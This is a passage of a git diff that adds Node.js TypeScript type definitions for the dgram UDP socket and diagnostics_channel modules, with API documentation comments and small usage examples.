${rinfo.address}:${rinfo.port}`); + * }); + * // Later, when you want to close the server. + * controller.abort(); + * ``` + * @since v0.11.13 + * @param options Available options are: + * @param callback Attached as a listener for `'message'` events. Optional. + */ + function createSocket(type: SocketType, callback?: (msg: Buffer, rinfo: RemoteInfo) => void): Socket; + function createSocket(options: SocketOptions, callback?: (msg: Buffer, rinfo: RemoteInfo) => void): Socket; + /** + * Encapsulates the datagram functionality. + * + * New instances of `dgram.Socket` are created using {@link createSocket}. + * The `new` keyword is not to be used to create `dgram.Socket` instances. + * @since v0.1.99 + */ + class Socket extends EventEmitter { + /** + * Tells the kernel to join a multicast group at the given `multicastAddress` and `multicastInterface` using the `IP_ADD_MEMBERSHIP` socket option. If the `multicastInterface` argument is not + * specified, the operating system will choose + * one interface and will add membership to it. To add membership to every + * available interface, call `addMembership` multiple times, once per interface. + * + * When called on an unbound socket, this method will implicitly bind to a random + * port, listening on all interfaces. + * + * When sharing a UDP socket across multiple `cluster` workers, the`socket.addMembership()` function must be called only once or an`EADDRINUSE` error will occur: + * + * ```js + * import cluster from 'node:cluster'; + * import dgram from 'node:dgram'; + * + * if (cluster.isPrimary) { + * cluster.fork(); // Works ok. + * cluster.fork(); // Fails with EADDRINUSE. + * } else { + * const s = dgram.createSocket('udp4'); + * s.bind(1234, () => { + * s.addMembership('224.0.0.114'); + * }); + * } + * ``` + * @since v0.6.9 + */ + addMembership(multicastAddress: string, multicastInterface?: string): void; + /** + * Returns an object containing the address information for a socket. + * For UDP sockets, this object will contain `address`, `family`, and `port` properties. + * + * This method throws `EBADF` if called on an unbound socket. + * @since v0.1.99 + */ + address(): AddressInfo; + /** + * For UDP sockets, causes the `dgram.Socket` to listen for datagram + * messages on a named `port` and optional `address`. If `port` is not + * specified or is `0`, the operating system will attempt to bind to a + * random port. If `address` is not specified, the operating system will + * attempt to listen on all addresses. Once binding is complete, a `'listening'` event is emitted and the optional `callback` function is + * called. + * + * Specifying both a `'listening'` event listener and passing a `callback` to the `socket.bind()` method is not harmful but not very + * useful. + * + * A bound datagram socket keeps the Node.js process running to receive + * datagram messages. + * + * If binding fails, an `'error'` event is generated. In rare case (e.g. + * attempting to bind with a closed socket), an `Error` may be thrown. + * + * Example of a UDP server listening on port 41234: + * + * ```js + * import dgram from 'node:dgram'; + * + * const server = dgram.createSocket('udp4'); + * + * server.on('error', (err) => { + * console.error(`server error:\n${err.stack}`); + * server.close(); + * }); + * + * server.on('message', (msg, rinfo) => { + * console.log(`server got: ${msg} from ${rinfo.address}:${rinfo.port}`); + * }); + * + * server.on('listening', () => { + * const address = server.address(); + * console.log(`server listening ${address.address}:${address.port}`); + * }); + * + * server.bind(41234); + * // Prints: server listening 0.0.0.0:41234 + * ``` + * @since v0.1.99 + * @param callback with no parameters. Called when binding is complete. + */ + bind(port?: number, address?: string, callback?: () => void): this; + bind(port?: number, callback?: () => void): this; + bind(callback?: () => void): this; + bind(options: BindOptions, callback?: () => void): this; + /** + * Close the underlying socket and stop listening for data on it. If a callback is + * provided, it is added as a listener for the `'close'` event. + * @since v0.1.99 + * @param callback Called when the socket has been closed. + */ + close(callback?: () => void): this; + /** + * Associates the `dgram.Socket` to a remote address and port. Every + * message sent by this handle is automatically sent to that destination. Also, + * the socket will only receive messages from that remote peer. + * Trying to call `connect()` on an already connected socket will result + * in an `ERR_SOCKET_DGRAM_IS_CONNECTED` exception. If `address` is not + * provided, `'127.0.0.1'` (for `udp4` sockets) or `'::1'` (for `udp6` sockets) + * will be used by default. Once the connection is complete, a `'connect'` event + * is emitted and the optional `callback` function is called. In case of failure, + * the `callback` is called or, failing this, an `'error'` event is emitted. + * @since v12.0.0 + * @param callback Called when the connection is completed or on error. + */ + connect(port: number, address?: string, callback?: () => void): void; + connect(port: number, callback: () => void): void; + /** + * A synchronous function that disassociates a connected `dgram.Socket` from + * its remote address. Trying to call `disconnect()` on an unbound or already + * disconnected socket will result in an `ERR_SOCKET_DGRAM_NOT_CONNECTED` exception. + * @since v12.0.0 + */ + disconnect(): void; + /** + * Instructs the kernel to leave a multicast group at `multicastAddress` using the `IP_DROP_MEMBERSHIP` socket option. This method is automatically called by the + * kernel when the socket is closed or the process terminates, so most apps will + * never have reason to call this. + * + * If `multicastInterface` is not specified, the operating system will attempt to + * drop membership on all valid interfaces. + * @since v0.6.9 + */ + dropMembership(multicastAddress: string, multicastInterface?: string): void; + /** + * This method throws `ERR_SOCKET_BUFFER_SIZE` if called on an unbound socket. + * @since v8.7.0 + * @return the `SO_RCVBUF` socket receive buffer size in bytes. + */ + getRecvBufferSize(): number; + /** + * This method throws `ERR_SOCKET_BUFFER_SIZE` if called on an unbound socket. + * @since v8.7.0 + * @return the `SO_SNDBUF` socket send buffer size in bytes. + */ + getSendBufferSize(): number; + /** + * @since v18.8.0, v16.19.0 + * @return Number of bytes queued for sending. + */ + getSendQueueSize(): number; + /** + * @since v18.8.0, v16.19.0 + * @return Number of send requests currently in the queue awaiting to be processed. + */ + getSendQueueCount(): number; + /** + * By default, binding a socket will cause it to block the Node.js process from + * exiting as long as the socket is open. The `socket.unref()` method can be used + * to exclude the socket from the reference counting that keeps the Node.js + * process active. The `socket.ref()` method adds the socket back to the reference + * counting and restores the default behavior. + * + * Calling `socket.ref()` multiples times will have no additional effect. + * + * The `socket.ref()` method returns a reference to the socket so calls can be + * chained. + * @since v0.9.1 + */ + ref(): this; + /** + * Returns an object containing the `address`, `family`, and `port` of the remote + * endpoint. This method throws an `ERR_SOCKET_DGRAM_NOT_CONNECTED` exception + * if the socket is not connected. + * @since v12.0.0 + */ + remoteAddress(): AddressInfo; + /** + * Broadcasts a datagram on the socket. + * For connectionless sockets, the destination `port` and `address` must be + * specified. Connected sockets, on the other hand, will use their associated + * remote endpoint, so the `port` and `address` arguments must not be set. + * + * The `msg` argument contains the message to be sent. + * Depending on its type, different behavior can apply. If `msg` is a `Buffer`, + * any `TypedArray` or a `DataView`, + * the `offset` and `length` specify the offset within the `Buffer` where the + * message begins and the number of bytes in the message, respectively. + * If `msg` is a `String`, then it is automatically converted to a `Buffer` with `'utf8'` encoding. With messages that + * contain multi-byte characters, `offset` and `length` will be calculated with + * respect to `byte length` and not the character position. + * If `msg` is an array, `offset` and `length` must not be specified. + * + * The `address` argument is a string. If the value of `address` is a host name, + * DNS will be used to resolve the address of the host. If `address` is not + * provided or otherwise nullish, `'127.0.0.1'` (for `udp4` sockets) or `'::1'` (for `udp6` sockets) will be used by default. + * + * If the socket has not been previously bound with a call to `bind`, the socket + * is assigned a random port number and is bound to the "all interfaces" address + * (`'0.0.0.0'` for `udp4` sockets, `'::0'` for `udp6` sockets.) + * + * An optional `callback` function may be specified to as a way of reporting + * DNS errors or for determining when it is safe to reuse the `buf` object. + * DNS lookups delay the time to send for at least one tick of the + * Node.js event loop. + * + * The only way to know for sure that the datagram has been sent is by using a `callback`. If an error occurs and a `callback` is given, the error will be + * passed as the first argument to the `callback`. If a `callback` is not given, + * the error is emitted as an `'error'` event on the `socket` object. + * + * Offset and length are optional but both _must_ be set if either are used. + * They are supported only when the first argument is a `Buffer`, a `TypedArray`, + * or a `DataView`. + * + * This method throws `ERR_SOCKET_BAD_PORT` if called on an unbound socket. + * + * Example of sending a UDP packet to a port on `localhost`; + * + * ```js + * import dgram from 'node:dgram'; + * import { Buffer } from 'node:buffer'; + * + * const message = Buffer.from('Some bytes'); + * const client = dgram.createSocket('udp4'); + * client.send(message, 41234, 'localhost', (err) => { + * client.close(); + * }); + * ``` + * + * Example of sending a UDP packet composed of multiple buffers to a port on`127.0.0.1`; + * + * ```js + * import dgram from 'node:dgram'; + * import { Buffer } from 'node:buffer'; + * + * const buf1 = Buffer.from('Some '); + * const buf2 = Buffer.from('bytes'); + * const client = dgram.createSocket('udp4'); + * client.send([buf1, buf2], 41234, (err) => { + * client.close(); + * }); + * ``` + * + * Sending multiple buffers might be faster or slower depending on the + * application and operating system. Run benchmarks to + * determine the optimal strategy on a case-by-case basis. Generally speaking, + * however, sending multiple buffers is faster. + * + * Example of sending a UDP packet using a socket connected to a port on `localhost`: + * + * ```js + * import dgram from 'node:dgram'; + * import { Buffer } from 'node:buffer'; + * + * const message = Buffer.from('Some bytes'); + * const client = dgram.createSocket('udp4'); + * client.connect(41234, 'localhost', (err) => { + * client.send(message, (err) => { + * client.close(); + * }); + * }); + * ``` + * @since v0.1.99 + * @param msg Message to be sent. + * @param offset Offset in the buffer where the message starts. + * @param length Number of bytes in the message. + * @param port Destination port. + * @param address Destination host name or IP address. + * @param callback Called when the message has been sent. + */ + send( + msg: string | Uint8Array | readonly any[], + port?: number, + address?: string, + callback?: (error: Error | null, bytes: number) => void, + ): void; + send( + msg: string | Uint8Array | readonly any[], + port?: number, + callback?: (error: Error | null, bytes: number) => void, + ): void; + send( + msg: string | Uint8Array | readonly any[], + callback?: (error: Error | null, bytes: number) => void, + ): void; + send( + msg: string | Uint8Array, + offset: number, + length: number, + port?: number, + address?: string, + callback?: (error: Error | null, bytes: number) => void, + ): void; + send( + msg: string | Uint8Array, + offset: number, + length: number, + port?: number, + callback?: (error: Error | null, bytes: number) => void, + ): void; + send( + msg: string | Uint8Array, + offset: number, + length: number, + callback?: (error: Error | null, bytes: number) => void, + ): void; + /** + * Sets or clears the `SO_BROADCAST` socket option. When set to `true`, UDP + * packets may be sent to a local interface's broadcast address. + * + * This method throws `EBADF` if called on an unbound socket. + * @since v0.6.9 + */ + setBroadcast(flag: boolean): void; + /** + * _All references to scope in this section are referring to [IPv6 Zone Indices](https://en.wikipedia.org/wiki/IPv6_address#Scoped_literal_IPv6_addresses), which are defined by [RFC + * 4007](https://tools.ietf.org/html/rfc4007). In string form, an IP_ + * _with a scope index is written as `'IP%scope'` where scope is an interface name_ + * _or interface number._ + * + * Sets the default outgoing multicast interface of the socket to a chosen + * interface or back to system interface selection. The `multicastInterface` must + * be a valid string representation of an IP from the socket's family. + * + * For IPv4 sockets, this should be the IP configured for the desired physical + * interface. All packets sent to multicast on the socket will be sent on the + * interface determined by the most recent successful use of this call. + * + * For IPv6 sockets, `multicastInterface` should include a scope to indicate the + * interface as in the examples that follow. In IPv6, individual `send` calls can + * also use explicit scope in addresses, so only packets sent to a multicast + * address without specifying an explicit scope are affected by the most recent + * successful use of this call. + * + * This method throws `EBADF` if called on an unbound socket. + * + * #### Example: IPv6 outgoing multicast interface + * + * On most systems, where scope format uses the interface name: + * + * ```js + * const socket = dgram.createSocket('udp6'); + * + * socket.bind(1234, () => { + * socket.setMulticastInterface('::%eth1'); + * }); + * ``` + * + * On Windows, where scope format uses an interface number: + * + * ```js + * const socket = dgram.createSocket('udp6'); + * + * socket.bind(1234, () => { + * socket.setMulticastInterface('::%2'); + * }); + * ``` + * + * #### Example: IPv4 outgoing multicast interface + * + * All systems use an IP of the host on the desired physical interface: + * + * ```js + * const socket = dgram.createSocket('udp4'); + * + * socket.bind(1234, () => { + * socket.setMulticastInterface('10.0.0.2'); + * }); + * ``` + * @since v8.6.0 + */ + setMulticastInterface(multicastInterface: string): void; + /** + * Sets or clears the `IP_MULTICAST_LOOP` socket option. When set to `true`, + * multicast packets will also be received on the local interface. + * + * This method throws `EBADF` if called on an unbound socket. + * @since v0.3.8 + */ + setMulticastLoopback(flag: boolean): boolean; + /** + * Sets the `IP_MULTICAST_TTL` socket option. While TTL generally stands for + * "Time to Live", in this context it specifies the number of IP hops that a + * packet is allowed to travel through, specifically for multicast traffic. Each + * router or gateway that forwards a packet decrements the TTL. If the TTL is + * decremented to 0 by a router, it will not be forwarded. + * + * The `ttl` argument may be between 0 and 255\. The default on most systems is `1`. + * + * This method throws `EBADF` if called on an unbound socket. + * @since v0.3.8 + */ + setMulticastTTL(ttl: number): number; + /** + * Sets the `SO_RCVBUF` socket option. Sets the maximum socket receive buffer + * in bytes. + * + * This method throws `ERR_SOCKET_BUFFER_SIZE` if called on an unbound socket. + * @since v8.7.0 + */ + setRecvBufferSize(size: number): void; + /** + * Sets the `SO_SNDBUF` socket option. Sets the maximum socket send buffer + * in bytes. + * + * This method throws `ERR_SOCKET_BUFFER_SIZE` if called on an unbound socket. + * @since v8.7.0 + */ + setSendBufferSize(size: number): void; + /** + * Sets the `IP_TTL` socket option. While TTL generally stands for "Time to Live", + * in this context it specifies the number of IP hops that a packet is allowed to + * travel through. Each router or gateway that forwards a packet decrements the + * TTL. If the TTL is decremented to 0 by a router, it will not be forwarded. + * Changing TTL values is typically done for network probes or when multicasting. + * + * The `ttl` argument may be between 1 and 255\. The default on most systems + * is 64. + * + * This method throws `EBADF` if called on an unbound socket. + * @since v0.1.101 + */ + setTTL(ttl: number): number; + /** + * By default, binding a socket will cause it to block the Node.js process from + * exiting as long as the socket is open. The `socket.unref()` method can be used + * to exclude the socket from the reference counting that keeps the Node.js + * process active, allowing the process to exit even if the socket is still + * listening. + * + * Calling `socket.unref()` multiple times will have no additional effect. + * + * The `socket.unref()` method returns a reference to the socket so calls can be + * chained. + * @since v0.9.1 + */ + unref(): this; + /** + * Tells the kernel to join a source-specific multicast channel at the given `sourceAddress` and `groupAddress`, using the `multicastInterface` with the `IP_ADD_SOURCE_MEMBERSHIP` socket + * option. If the `multicastInterface` argument + * is not specified, the operating system will choose one interface and will add + * membership to it. To add membership to every available interface, call `socket.addSourceSpecificMembership()` multiple times, once per interface. + * + * When called on an unbound socket, this method will implicitly bind to a random + * port, listening on all interfaces. + * @since v13.1.0, v12.16.0 + */ + addSourceSpecificMembership(sourceAddress: string, groupAddress: string, multicastInterface?: string): void; + /** + * Instructs the kernel to leave a source-specific multicast channel at the given `sourceAddress` and `groupAddress` using the `IP_DROP_SOURCE_MEMBERSHIP` socket option. This method is + * automatically called by the kernel when the + * socket is closed or the process terminates, so most apps will never have + * reason to call this. + * + * If `multicastInterface` is not specified, the operating system will attempt to + * drop membership on all valid interfaces. + * @since v13.1.0, v12.16.0 + */ + dropSourceSpecificMembership(sourceAddress: string, groupAddress: string, multicastInterface?: string): void; + /** + * events.EventEmitter + * 1. close + * 2. connect + * 3. error + * 4. listening + * 5. message + */ + addListener(event: string, listener: (...args: any[]) => void): this; + addListener(event: "close", listener: () => void): this; + addListener(event: "connect", listener: () => void): this; + addListener(event: "error", listener: (err: Error) => void): this; + addListener(event: "listening", listener: () => void): this; + addListener(event: "message", listener: (msg: Buffer, rinfo: RemoteInfo) => void): this; + emit(event: string | symbol, ...args: any[]): boolean; + emit(event: "close"): boolean; + emit(event: "connect"): boolean; + emit(event: "error", err: Error): boolean; + emit(event: "listening"): boolean; + emit(event: "message", msg: Buffer, rinfo: RemoteInfo): boolean; + on(event: string, listener: (...args: any[]) => void): this; + on(event: "close", listener: () => void): this; + on(event: "connect", listener: () => void): this; + on(event: "error", listener: (err: Error) => void): this; + on(event: "listening", listener: () => void): this; + on(event: "message", listener: (msg: Buffer, rinfo: RemoteInfo) => void): this; + once(event: string, listener: (...args: any[]) => void): this; + once(event: "close", listener: () => void): this; + once(event: "connect", listener: () => void): this; + once(event: "error", listener: (err: Error) => void): this; + once(event: "listening", listener: () => void): this; + once(event: "message", listener: (msg: Buffer, rinfo: RemoteInfo) => void): this; + prependListener(event: string, listener: (...args: any[]) => void): this; + prependListener(event: "close", listener: () => void): this; + prependListener(event: "connect", listener: () => void): this; + prependListener(event: "error", listener: (err: Error) => void): this; + prependListener(event: "listening", listener: () => void): this; + prependListener(event: "message", listener: (msg: Buffer, rinfo: RemoteInfo) => void): this; + prependOnceListener(event: string, listener: (...args: any[]) => void): this; + prependOnceListener(event: "close", listener: () => void): this; + prependOnceListener(event: "connect", listener: () => void): this; + prependOnceListener(event: "error", listener: (err: Error) => void): this; + prependOnceListener(event: "listening", listener: () => void): this; + prependOnceListener(event: "message", listener: (msg: Buffer, rinfo: RemoteInfo) => void): this; + /** + * Calls `socket.close()` and returns a promise that fulfills when the socket has closed. + * @since v20.5.0 + */ + [Symbol.asyncDispose](): Promise; + } +} +declare module "node:dgram" { + export * from "dgram"; +} diff --git a/node_modules/@types/node/diagnostics_channel.d.ts b/node_modules/@types/node/diagnostics_channel.d.ts new file mode 100644 index 000000000000..1cc7486b4068 --- /dev/null +++ b/node_modules/@types/node/diagnostics_channel.d.ts @@ -0,0 +1,554 @@ +/** + * The `node:diagnostics_channel` module provides an API to create named channels + * to report arbitrary message data for diagnostics purposes. + * + * It can be accessed using: + * + * ```js + * import diagnostics_channel from 'node:diagnostics_channel'; + * ``` + * + * It is intended that a module writer wanting to report diagnostics messages + * will create one or many top-level channels to report messages through. + * Channels may also be acquired at runtime but it is not encouraged + * due to the additional overhead of doing so. Channels may be exported for + * convenience, but as long as the name is known it can be acquired anywhere. + * + * If you intend for your module to produce diagnostics data for others to + * consume it is recommended that you include documentation of what named + * channels are used along with the shape of the message data. Channel names + * should generally include the module name to avoid collisions with data from + * other modules. + * @since v15.1.0, v14.17.0 + * @see [source](https://github.com/nodejs/node/blob/v22.x/lib/diagnostics_channel.js) + */ +declare module "diagnostics_channel" { + import { AsyncLocalStorage } from "node:async_hooks"; + /** + * Check if there are active subscribers to the named channel. This is helpful if + * the message you want to send might be expensive to prepare. + * + * This API is optional but helpful when trying to publish messages from very + * performance-sensitive code. + * + * ```js + * import diagnostics_channel from 'node:diagnostics_channel'; + * + * if (diagnostics_channel.hasSubscribers('my-channel')) { + * // There are subscribers, prepare and publish message + * } + * ``` + * @since v15.1.0, v14.17.0 + * @param name The channel name + * @return If there are active subscribers + */ + function hasSubscribers(name: string | symbol): boolean; + /** + * This is the primary entry-point for anyone wanting to publish to a named + * channel. It produces a channel object which is optimized to reduce overhead at + * publish time as much as possible. + * + * ```js + * import diagnostics_channel from 'node:diagnostics_channel'; + * + * const channel = diagnostics_channel.channel('my-channel'); + * ``` + * @since v15.1.0, v14.17.0 + * @param name The channel name + * @return The named channel object + */ + function channel(name: string | symbol): Channel; + type ChannelListener = (message: unknown, name: string | symbol) => void; + /** + * Register a message handler to subscribe to this channel. This message handler + * will be run synchronously whenever a message is published to the channel. Any + * errors thrown in the message handler will trigger an `'uncaughtException'`. + * + * ```js + * import diagnostics_channel from 'node:diagnostics_channel'; + * + * diagnostics_channel.subscribe('my-channel', (message, name) => { + * // Received data + * }); + * ``` + * @since v18.7.0, v16.17.0 + * @param name The channel name + * @param onMessage The handler to receive channel messages + */ + function subscribe(name: string | symbol, onMessage: ChannelListener): void; + /** + * Remove a message handler previously registered to this channel with {@link subscribe}. + * + * ```js + * import diagnostics_channel from 'node:diagnostics_channel'; + * + * function onMessage(message, name) { + * // Received data + * } + * + * diagnostics_channel.subscribe('my-channel', onMessage); + * + * diagnostics_channel.unsubscribe('my-channel', onMessage); + * ``` + * @since v18.7.0, v16.17.0 + * @param name The channel name + * @param onMessage The previous subscribed handler to remove + * @return `true` if the handler was found, `false` otherwise. + */ + function unsubscribe(name: string | symbol, onMessage: ChannelListener): boolean; + /** + * Creates a `TracingChannel` wrapper for the given `TracingChannel Channels`. If a name is given, the corresponding tracing + * channels will be created in the form of `tracing:${name}:${eventType}` where `eventType` corresponds to the types of `TracingChannel Channels`. + * + * ```js + * import diagnostics_channel from 'node:diagnostics_channel'; + * + * const channelsByName = diagnostics_channel.tracingChannel('my-channel'); + * + * // or... + * + * const channelsByCollection = diagnostics_channel.tracingChannel({ + * start: diagnostics_channel.channel('tracing:my-channel:start'), + * end: diagnostics_channel.channel('tracing:my-channel:end'), + * asyncStart: diagnostics_channel.channel('tracing:my-channel:asyncStart'), + * asyncEnd: diagnostics_channel.channel('tracing:my-channel:asyncEnd'), + * error: diagnostics_channel.channel('tracing:my-channel:error'), + * }); + * ``` + * @since v19.9.0 + * @experimental + * @param nameOrChannels Channel name or object containing all the `TracingChannel Channels` + * @return Collection of channels to trace with + */ + function tracingChannel< + StoreType = unknown, + ContextType extends object = StoreType extends object ? StoreType : object, + >( + nameOrChannels: string | TracingChannelCollection, + ): TracingChannel; + /** + * The class `Channel` represents an individual named channel within the data + * pipeline. It is used to track subscribers and to publish messages when there + * are subscribers present. It exists as a separate object to avoid channel + * lookups at publish time, enabling very fast publish speeds and allowing + * for heavy use while incurring very minimal cost. Channels are created with {@link channel}, constructing a channel directly + * with `new Channel(name)` is not supported. + * @since v15.1.0, v14.17.0 + */ + class Channel { + readonly name: string | symbol; + /** + * Check if there are active subscribers to this channel. This is helpful if + * the message you want to send might be expensive to prepare. + * + * This API is optional but helpful when trying to publish messages from very + * performance-sensitive code. + * + * ```js + * import diagnostics_channel from 'node:diagnostics_channel'; + * + * const channel = diagnostics_channel.channel('my-channel'); + * + * if (channel.hasSubscribers) { + * // There are subscribers, prepare and publish message + * } + * ``` + * @since v15.1.0, v14.17.0 + */ + readonly hasSubscribers: boolean; + private constructor(name: string | symbol); + /** + * Publish a message to any subscribers to the channel. This will trigger + * message handlers synchronously so they will execute within the same context. + * + * ```js + * import diagnostics_channel from 'node:diagnostics_channel'; + * + * const channel = diagnostics_channel.channel('my-channel'); + * + * channel.publish({ + * some: 'message', + * }); + * ``` + * @since v15.1.0, v14.17.0 + * @param message The message to send to the channel subscribers + */ + publish(message: unknown): void; + /** + * Register a message handler to subscribe to this channel. This message handler + * will be run synchronously whenever a message is published to the channel. Any + * errors thrown in the message handler will trigger an `'uncaughtException'`. + * + * ```js + * import diagnostics_channel from 'node:diagnostics_channel'; + * + * const channel = diagnostics_channel.channel('my-channel'); + * + * channel.subscribe((message, name) => { + * // Received data + * }); + * ``` + * @since v15.1.0, v14.17.0 + * @deprecated Since v18.7.0,v16.17.0 - Use {@link subscribe(name, onMessage)} + * @param onMessage The handler to receive channel messages + */ + subscribe(onMessage: ChannelListener): void; + /** + * Remove a message handler previously registered to this channel with `channel.subscribe(onMessage)`. + * + * ```js + * import diagnostics_channel from 'node:diagnostics_channel'; + * + * const channel = diagnostics_channel.channel('my-channel'); + * + * function onMessage(message, name) { + * // Received data + * } + * + * channel.subscribe(onMessage); + * + * channel.unsubscribe(onMessage); + * ``` + * @since v15.1.0, v14.17.0 + * @deprecated Since v18.7.0,v16.17.0 - Use {@link unsubscribe(name, onMessage)} + * @param onMessage The previous subscribed handler to remove + * @return `true` if the handler was found, `false` otherwise. + */ + unsubscribe(onMessage: ChannelListener): void; + /** + * When `channel.runStores(context, ...)` is called, the given context data + * will be applied to any store bound to the channel. If the store has already been + * bound the previous `transform` function will be replaced with the new one. + * The `transform` function may be omitted to set the given context data as the + * context directly. + * + * ```js + * import diagnostics_channel from 'node:diagnostics_channel'; + * import { AsyncLocalStorage } from 'node:async_hooks'; + * + * const store = new AsyncLocalStorage(); + * + * const channel = diagnostics_channel.channel('my-channel'); + * + * channel.bindStore(store, (data) => { + * return { data }; + * }); + * ``` + * @since v19.9.0 + * @experimental + * @param store The store to which to bind the context data + * @param transform Transform context data before setting the store context + */ + bindStore(store: AsyncLocalStorage, transform?: (context: ContextType) => StoreType): void; + /** + * Remove a message handler previously registered to this channel with `channel.bindStore(store)`. + * + * ```js + * import diagnostics_channel from 'node:diagnostics_channel'; + * import { AsyncLocalStorage } from 'node:async_hooks'; + * + * const store = new AsyncLocalStorage(); + * + * const channel = diagnostics_channel.channel('my-channel'); + * + * channel.bindStore(store); + * channel.unbindStore(store); + * ``` + * @since v19.9.0 + * @experimental + * @param store The store to unbind from the channel. + * @return `true` if the store was found, `false` otherwise. + */ + unbindStore(store: any): void; + /** + * Applies the given data to any AsyncLocalStorage instances bound to the channel + * for the duration of the given function, then publishes to the channel within + * the scope of that data is applied to the stores. + * + * If a transform function was given to `channel.bindStore(store)` it will be + * applied to transform the message data before it becomes the context value for + * the store. The prior storage context is accessible from within the transform + * function in cases where context linking is required. + * + * The context applied to the store should be accessible in any async code which + * continues from execution which began during the given function, however + * there are some situations in which `context loss` may occur. + * + * ```js + * import diagnostics_channel from 'node:diagnostics_channel'; + * import { AsyncLocalStorage } from 'node:async_hooks'; + * + * const store = new AsyncLocalStorage(); + * + * const channel = diagnostics_channel.channel('my-channel'); + * + * channel.bindStore(store, (message) => { + * const parent = store.getStore(); + * return new Span(message, parent); + * }); + * channel.runStores({ some: 'message' }, () => { + * store.getStore(); // Span({ some: 'message' }) + * }); + * ``` + * @since v19.9.0 + * @experimental + * @param context Message to send to subscribers and bind to stores + * @param fn Handler to run within the entered storage context + * @param thisArg The receiver to be used for the function call. + * @param args Optional arguments to pass to the function. + */ + runStores(): void; + } + interface TracingChannelSubscribers { + start: (message: ContextType) => void; + end: ( + message: ContextType & { + error?: unknown; + result?: unknown; + }, + ) => void; + asyncStart: ( + message: ContextType & { + error?: unknown; + result?: unknown; + }, + ) => void; + asyncEnd: ( + message: ContextType & { + error?: unknown; + result?: unknown; + }, + ) => void; + error: ( + message: ContextType & { + error: unknown; + }, + ) => void; + } + interface TracingChannelCollection { + start: Channel; + end: Channel; + asyncStart: Channel; + asyncEnd: Channel; + error: Channel; + } + /** + * The class `TracingChannel` is a collection of `TracingChannel Channels` which + * together express a single traceable action. It is used to formalize and + * simplify the process of producing events for tracing application flow. {@link tracingChannel} is used to construct a `TracingChannel`. As with `Channel` it is recommended to create and reuse a + * single `TracingChannel` at the top-level of the file rather than creating them + * dynamically. + * @since v19.9.0 + * @experimental + */ + class TracingChannel implements TracingChannelCollection { + start: Channel; + end: Channel; + asyncStart: Channel; + asyncEnd: Channel; + error: Channel; + /** + * Helper to subscribe a collection of functions to the corresponding channels. + * This is the same as calling `channel.subscribe(onMessage)` on each channel + * individually. + * + * ```js + * import diagnostics_channel from 'node:diagnostics_channel'; + * + * const channels = diagnostics_channel.tracingChannel('my-channel'); + * + * channels.subscribe({ + * start(message) { + * // Handle start message + * }, + * end(message) { + * // Handle end message + * }, + * asyncStart(message) { + * // Handle asyncStart message + * }, + * asyncEnd(message) { + * // Handle asyncEnd message + * }, + * error(message) { + * // Handle error message + * }, + * }); + * ``` + * @since v19.9.0 + * @experimental + * @param subscribers Set of `TracingChannel Channels` subscribers + */ + subscribe(subscribers: TracingChannelSubscribers): void; + /** + * Helper to unsubscribe a collection of functions from the corresponding channels. + * This is the same as calling `channel.unsubscribe(onMessage)` on each channel + * individually. + * + * ```js + * import diagnostics_channel from 'node:diagnostics_channel'; + * + * const channels = diagnostics_channel.tracingChannel('my-channel'); + * + * channels.unsubscribe({ + * start(message) { + * // Handle start message + * }, + * end(message) { + * // Handle end message + * }, + * asyncStart(message) { + * // Handle asyncStart message + * }, + * asyncEnd(message) { + * // Handle asyncEnd message + * }, + * error(message) { + * // Handle error message + * }, + * }); + * ``` + * @since v19.9.0 + * @experimental + * @param subscribers Set of `TracingChannel Channels` subscribers + * @return `true` if all handlers were successfully unsubscribed, and `false` otherwise. + */ + unsubscribe(subscribers: TracingChannelSubscribers): void; + /** + * Trace a synchronous function call. This will always produce a `start event` and `end event` around the execution and may produce an `error event` if the given function throws an error. + * This will run the given function using `channel.runStores(context, ...)` on the `start` channel which ensures all + * events should have any bound stores set to match this trace context. + * + * To ensure only correct trace graphs are formed, events will only be published if subscribers are present prior to starting the trace. Subscriptions + * which are added after the trace begins will not receive future events from that trace, only future traces will be seen. + * + * ```js + * import diagnostics_channel from 'node:diagnostics_channel'; + * + * const channels = diagnostics_channel.tracingChannel('my-channel'); + * + * channels.traceSync(() => { + * // Do something + * }, { + * some: 'thing', + * }); + * ``` + * @since v19.9.0 + * @experimental + * @param fn Function to wrap a trace around + * @param context Shared object to correlate events through + * @param thisArg The receiver to be used for the function call + * @param args Optional arguments to pass to the function + * @return The return value of the given function + */ + traceSync( + fn: (this: ThisArg, ...args: Args) => any, + context?: ContextType, + thisArg?: ThisArg, + ...args: Args + ): void; + /** + * Trace a promise-returning function call. This will always produce a `start event` and `end event` around the synchronous portion of the + * function execution, and will produce an `asyncStart event` and `asyncEnd event` when a promise continuation is reached. It may also + * produce an `error event` if the given function throws an error or the + * returned promise rejects. This will run the given function using `channel.runStores(context, ...)` on the `start` channel which ensures all + * events should have any bound stores set to match this trace context. + * + * To ensure only correct trace graphs are formed, events will only be published if subscribers are present prior to starting the trace. Subscriptions + * which are added after the trace begins will not receive future events from that trace, only future traces will be seen. + * + * ```js + * import diagnostics_channel from 'node:diagnostics_channel'; + * + * const channels = diagnostics_channel.tracingChannel('my-channel'); + * + * channels.tracePromise(async () => { + * // Do something + * }, { + * some: 'thing', + * }); + * ``` + * @since v19.9.0 + * @experimental + * @param fn Promise-returning function to wrap a trace around + * @param context Shared object to correlate trace events through + * @param thisArg The receiver to be used for the function call + * @param args Optional arguments to pass to the function + * @return Chained from promise returned by the given function + */ + tracePromise( + fn: (this: ThisArg, ...args: Args) => Promise, + context?: ContextType, + thisArg?: ThisArg, + ...args: Args + ): void; + /** + * Trace a callback-receiving function call. This will always produce a `start event` and `end event` around the synchronous portion of the + * function execution, and will produce a `asyncStart event` and `asyncEnd event` around the callback execution. It may also produce an `error event` if the given function throws an error or + * the returned + * promise rejects. This will run the given function using `channel.runStores(context, ...)` on the `start` channel which ensures all + * events should have any bound stores set to match this trace context. + * + * The `position` will be -1 by default to indicate the final argument should + * be used as the callback. + * + * ```js + * import diagnostics_channel from 'node:diagnostics_channel'; + * + * const channels = diagnostics_channel.tracingChannel('my-channel'); + * + * channels.traceCallback((arg1, callback) => { + * // Do something + * callback(null, 'result'); + * }, 1, { + * some: 'thing', + * }, thisArg, arg1, callback); + * ``` + * + * The callback will also be run with `channel.runStores(context, ...)` which + * enables context loss recovery in some cases. + * + * To ensure only correct trace graphs are formed, events will only be published if subscribers are present prior to starting the trace. Subscriptions + * which are added after the trace begins will not receive future events from that trace, only future traces will be seen. + * + * ```js + * import diagnostics_channel from 'node:diagnostics_channel'; + * import { AsyncLocalStorage } from 'node:async_hooks'; + * + * const channels = diagnostics_channel.tracingChannel('my-channel'); + * const myStore = new AsyncLocalStorage(); + * + * // The 